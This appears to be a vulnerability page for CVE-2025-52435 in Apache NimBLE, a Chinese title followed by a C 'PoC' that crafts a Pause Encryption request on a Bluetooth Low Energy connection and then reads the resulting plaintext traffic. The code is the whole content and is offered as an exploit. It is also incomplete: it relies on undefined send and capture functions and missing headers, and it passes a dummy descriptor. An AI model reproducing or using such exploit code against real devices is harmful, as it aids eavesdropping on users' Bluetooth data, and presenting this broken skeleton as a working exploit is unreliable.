CVE-2025-52435 Apache NimBLE链路层加密暂停导致数据明文传输漏洞

/* CVE-2025-52435 PoC - NimBLE Link Layer Encryption Pause Exploit * This PoC demonstrates the encryption pause vulnerability in Apache NimBLE * Note: Requires Bluetooth Low Energy monitoring capabilities */ #include <stdio.h> #include <stdlib.h> #include <string.h> // Simulated BLE LL Control PDU structure typedef struct { uint8_t opcode; uint8_t conn_handle[2]; uint8_t* data; } ll_control_pdu_t; // Pause Encryption Opcode (0x05) - LL_PAUSE_ENC_REQ/RSP #define LL_PAUSE_ENC_REQ 0x05 #define LL_PAUSE_ENC_RSP 0x06 // Malicious Pause Encryption PDU generator ll_control_pdu_t* craft_pause_enc_pdu(uint16_t conn_handle) { ll_control_pdu_t* pdu = malloc(sizeof(ll_control_pdu_t)); pdu->opcode = LL_PAUSE_ENC_REQ; pdu->conn_handle[0] = conn_handle & 0xFF; pdu->conn_handle[1] = (conn_handle >> 8) & 0xFF; pdu->data = NULL; return pdu; } // Exploit function - sends malicious pause encryption request int exploit_pause_encryption(int fd, uint16_t conn_handle) { printf("[*] CVE-2025-52435: Initiating encryption pause attack\n"); printf("[*] Target connection handle: 0x%04x\n", conn_handle); // Step 1: Inject Pause Encryption Request ll_control_pdu_t* mal_pdu = craft_pause_enc_pdu(conn_handle); send_ll_control_pdu(fd, mal_pdu); // Step 2: Wait for response and capture now-unencrypted traffic sleep(1); printf("[*] Connection encryption disabled - monitoring plaintext data\n"); // Step 3: Capture sensitive data from unencrypted connection capture_plaintext_traffic(fd); free(mal_pdu); return 0; } int main(int argc, char** argv) { if (argc < 2) { fprintf(stderr, "Usage: %s <connection_handle>\n", argv[0]); return 1; } uint16_t handle = atoi(argv[1]); return exploit_pause_encryption(0, handle); }